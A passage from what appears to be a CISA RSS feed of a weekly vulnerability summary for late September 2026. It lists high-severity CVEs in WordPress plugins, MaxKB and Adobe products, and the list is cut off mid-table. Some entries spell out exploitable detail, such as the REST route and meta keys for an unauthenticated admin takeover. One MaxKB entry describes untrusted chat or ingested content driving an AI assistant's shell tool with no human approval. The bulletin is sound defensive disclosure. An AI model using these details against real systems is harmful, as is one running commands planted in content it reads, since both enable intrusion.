<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="https://www.cisa.gov/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Bulletins</title>
    <link>https://www.cisa.gov/</link>
    <description></description>
    <language>en</language>
    
    <item>
  <title>Vulnerability Summary for the Week of September 21, 2026</title>
  <link>https://www.cisa.gov/news-events/bulletins/sb26-271</link>
  <description>&lt;div id=&quot;high_v&quot;&gt;
&lt;h2 id=&quot;high_v_title&quot;&gt;High Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;High Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;101gen--Automation Web Platform Notifications and OTP for WooCommerce, Advanced Country Code&lt;/td&gt;
&lt;td&gt;The Automation Web Platform - Notifications and OTP for WooCommerce, Advanced Country Code plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.8.6. This is due to missing permission enforcement on the publicly accessible REST route `POST /wp-json/wawp/v1/signup/&amp;lt;op&amp;gt;` and the absence of a key allowlist in the `finish_registration_logic` function, which copies the attacker-controlled `wawp_custom_fields` parameter directly into `update_user_meta()` - allowing sensitive meta keys such as `wp_capabilities` and `wp_user_level` to be set by the caller. This makes it possible for unauthenticated attackers to register a new account with the administrator role and gain full administrative access to the site. When OTP verification is enabled at signup, the OTP session token (`otp_transient`) is returned in plaintext in the HTTP response body, and the `handle_magic_link_request()` handler marks that token as verified on any unauthenticated GET request containing it without ever checking the OTP code value - making the OTP step trivially bypassable with no inbox or SMS access required.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14281&quot; target=&quot;_blank&quot;&gt;CVE-2026-14281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. Prior to version 2.10.5-lts, assistants with a tool, MCP tool, skill, or sub-application use SandboxShellBackend, which exposes an execute shell tool without excluding it and omits execute from interrupt_on, so human approval is not required. Untrusted chat or ingested content can therefore cause command execution; source deployments with MAXKB_SANDBOX disabled run commands directly as the application user, while the official root container&#039;s string-based gosu wrapper allowed shell metacharacters to execute outside the intended sandbox. This issue is fixed in version 2.10.5-lts.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77521&quot; target=&quot;_blank&quot;&gt;CVE-2026-77521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. Prior to 2.10.5-lts, authenticated workspace members can inject control characters into AWS Bedrock access_key_id and secret_access_key fields that _update_aws_credentials writes to /root/.aws/credentials without safe parsing. An attacker can append a new AWS profile containing credential_process, then select that profile during a later model-validation request so botocore executes an attacker-controlled command as root. This vulnerability is fixed in 2.10.5-lts.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79916&quot; target=&quot;_blank&quot;&gt;CVE-2026-79916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;1Panel-dev--MaxKB&lt;/td&gt;
&lt;td&gt;MaxKB is an open-source AI assistant for enterprise. In version 2.10.3-lts and earlier, the model parameter form route authorizes the path workspace but ModelSerializer.ModelParams loads and saves a Model by id alone without including workspace_id in the query. An authenticated user with model read permission in an attacker-controlled workspace can supply a known victim model_id to read or overwrite the victim&#039;s model_params_form in another workspace, potentially altering workflows that use those defaults. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77523&quot; target=&quot;_blank&quot;&gt;CVE-2026-77523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ABB--Mint Workbench I&lt;/td&gt;
&lt;td&gt;Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability in ABB Mint Workbench I. This issue affects Mint Workbench I: through 5876.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19438&quot; target=&quot;_blank&quot;&gt;CVE-2026-19438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Abdurrab5--online-makeup-store&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Abdurrab5 online-makeup-store. This affects an unknown function of the file index.php of the component Admin Login Handler. The manipulation of the argument id/password results in sql injection. The attack can be executed remotely. The exploit is now public and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The vendor was contacted early about this disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96601&quot; target=&quot;_blank&quot;&gt;CVE-2026-96601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Abdurrab5--online-makeup-store&lt;/td&gt;
&lt;td&gt;A flaw has been found in Abdurrab5 online-makeup-store. This impacts an unknown function of the file customerSignin.php of the component Customer Login Handler. This manipulation of the argument username/password causes sql injection. The attack is possible to be carried out remotely. The exploit has been published and may be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The vendor was contacted early about this disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96602&quot; target=&quot;_blank&quot;&gt;CVE-2026-96602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Abdurrab5--online-makeup-store&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Abdurrab5 online-makeup-store. Affected is the function confirm_logged_in/confirm_user of the file functions.php of the component Admin Handler. Such manipulation of the argument adminid leads to missing authorization. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96603&quot; target=&quot;_blank&quot;&gt;CVE-2026-96603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Addify--Request a Quote for WooCommerce&lt;/td&gt;
&lt;td&gt;The Request a Quote for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.9.2 via the `afrfq_submit_quote_via_popup()` function. This is due to missing file extension and MIME type validation in the popup upload handler, which uses the raw attacker-supplied filename directly as the destination for `move_uploaded_file()`. This makes it possible for unauthenticated attackers to upload executable files, such as PHP files, to a web-accessible temporary RFQ upload directory when a public quote rule with the multi-page popup flow is enabled.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18143&quot; target=&quot;_blank&quot;&gt;CVE-2026-18143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;addonsorg--Repeater Fields for Elementor Forms&lt;/td&gt;
&lt;td&gt;The Repeater Fields for Elementor Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Repeater Field Value in all versions up to, and including, 2.2.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94573&quot; target=&quot;_blank&quot;&gt;CVE-2026-94573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Bridge&lt;/td&gt;
&lt;td&gt;Bridge is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75649&quot; target=&quot;_blank&quot;&gt;CVE-2026-75649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Bridge&lt;/td&gt;
&lt;td&gt;Bridge is affected by an Uncontrolled Recursion vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75655&quot; target=&quot;_blank&quot;&gt;CVE-2026-75655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Bridge&lt;/td&gt;
&lt;td&gt;Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75658&quot; target=&quot;_blank&quot;&gt;CVE-2026-75658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Bridge&lt;/td&gt;
&lt;td&gt;Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75663&quot; target=&quot;_blank&quot;&gt;CVE-2026-75663&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Bridge&lt;/td&gt;
&lt;td&gt;Bridge is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75665&quot; target=&quot;_blank&quot;&gt;CVE-2026-75665&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Bridge&lt;/td&gt;
&lt;td&gt;Bridge is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75676&quot; target=&quot;_blank&quot;&gt;CVE-2026-75676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73369&quot; target=&quot;_blank&quot;&gt;CVE-2026-73369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75699&quot; target=&quot;_blank&quot;&gt;CVE-2026-75699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75703&quot; target=&quot;_blank&quot;&gt;CVE-2026-75703&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75721&quot; target=&quot;_blank&quot;&gt;CVE-2026-75721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75723&quot; target=&quot;_blank&quot;&gt;CVE-2026-75723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84412&quot; target=&quot;_blank&quot;&gt;CVE-2026-84412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89275&quot; target=&quot;_blank&quot;&gt;CVE-2026-89275&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75728&quot; target=&quot;_blank&quot;&gt;CVE-2026-75728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82008&quot; target=&quot;_blank&quot;&gt;CVE-2026-82008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary SQL commands. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82009&quot; target=&quot;_blank&quot;&gt;CVE-2026-82009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82010&quot; target=&quot;_blank&quot;&gt;CVE-2026-82010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82011&quot; target=&quot;_blank&quot;&gt;CVE-2026-82011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82013&quot; target=&quot;_blank&quot;&gt;CVE-2026-82013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82443&quot; target=&quot;_blank&quot;&gt;CVE-2026-82443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83660&quot; target=&quot;_blank&quot;&gt;CVE-2026-83660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89276&quot; target=&quot;_blank&quot;&gt;CVE-2026-89276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker&#039;s control. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82003&quot; target=&quot;_blank&quot;&gt;CVE-2026-82003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by an Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary SQL commands, potentially gaining elevated access or control over the victim&#039;s account or session. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75682&quot; target=&quot;_blank&quot;&gt;CVE-2026-75682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim&#039;s account or session. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75684&quot; target=&quot;_blank&quot;&gt;CVE-2026-75684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75686&quot; target=&quot;_blank&quot;&gt;CVE-2026-75686&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim&#039;s account or session. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75689&quot; target=&quot;_blank&quot;&gt;CVE-2026-75689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
&lt;td&gt;Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim&#039;s account or session. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75697&quot; target=&quot;_blank&quot;&gt;CVE-2026-75697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Connect&lt;/td&gt;
